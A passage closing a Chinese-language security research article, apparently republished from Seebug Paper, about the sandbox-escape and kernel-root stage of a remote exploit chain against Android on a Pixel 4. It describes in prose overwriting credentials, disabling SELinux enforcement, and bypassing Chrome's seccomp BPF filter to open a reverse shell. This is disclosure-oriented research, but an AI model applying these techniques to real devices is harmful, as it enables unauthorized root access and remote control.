在擁有了這種任意地址讀寫元語后,整個提權流程將變得非常簡單,比較直接有效的辦法還是攻擊自主訪問控制和強制訪問控制。有了這個信息泄露的起點后,我們可以逐步拿到thread_info地址,將其修改為ROOT用戶,修改cred,再關掉selinux_enforcing。這樣是不是就可以成功提權了呢?上面提到沙箱進程中還有BPF機制的保護,還需要去關閉其BPF保護。

Last step to get root !

Chrome的BPF過濾器過濾掉了大多數的系統調用,需要關掉BPF才能建立socket通信,實現反彈shell

  • thread->seccomp->filter指向了所用的BPF規則,但該指針不能被直接置為空,相應的檢測機制會觸發kernel panic
  • BPF過濾規則通過鏈表組織,在我們的測試中,其一共有四項,我們將其設置為倒數第二項可以繞過系統調用限制,并能成功創建socket,實現反彈shell!

Demo

下面鏈接使我們錄制的一個攻擊演示視頻,該視頻示范了利用該利用鏈可以在Pixel 4上安裝任意應用。

鏈接:https://www.bilibili.com/video/BV1qg411L76y

Conclusion

本文介紹了該條遠程ROOT利用鏈沙箱逃逸提權部分,具體介紹了我們在嘗試利用該漏洞在高度沙箱化的進程中攻擊內核時遇到的各類問題,以及解決方法。文中所的一次觸發漏洞就實現穩定任意地址讀寫方案非常強大,但該案對結構體大小的依賴比較大,其中用到的seq_file及binder_node結構體其大小在不同的系統版本上可能會有所變化,這些變化可能會導致利用方案的失敗,但基于該模型有可能找到一些其他的替代方案。目前該利用方案還是需要適配selinux_enforcing符號地址,這也留下了一個問題,這一步在擁有了穩定內核地址讀寫元語后能不能自動化完成?

安卓系統在內外多重推力下其安全性得到了不斷的加強,各類防護機制被不斷引入,谷歌多次提高其漏洞獎勵計劃獎勵額度,體現其對自身產品安全性的信心。但絕對安全只是我們的愿景,現實卻非常殘酷。文中介紹的漏洞利用方案,在極為苛刻的條件下,采用極為簡單的方案實現了僅觸發一次漏洞就獲得了穩定的任意地址讀寫元語,使得系統現有的各類防護變得脆弱不堪,其中一次觸發漏洞也達到了理論極限。防護更多的是考慮的是一個面,而攻擊卻可以僅找一個點,攻防對抗也將在這個過程不斷博弈,不斷發展。

最后,在這里感謝團隊小伙伴龔廣、姚俊、張弛在這條利用鏈中所提供的幫助。他們提出了許多寶貴的建議,給了我們諸多啟發,感謝他們!


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1685/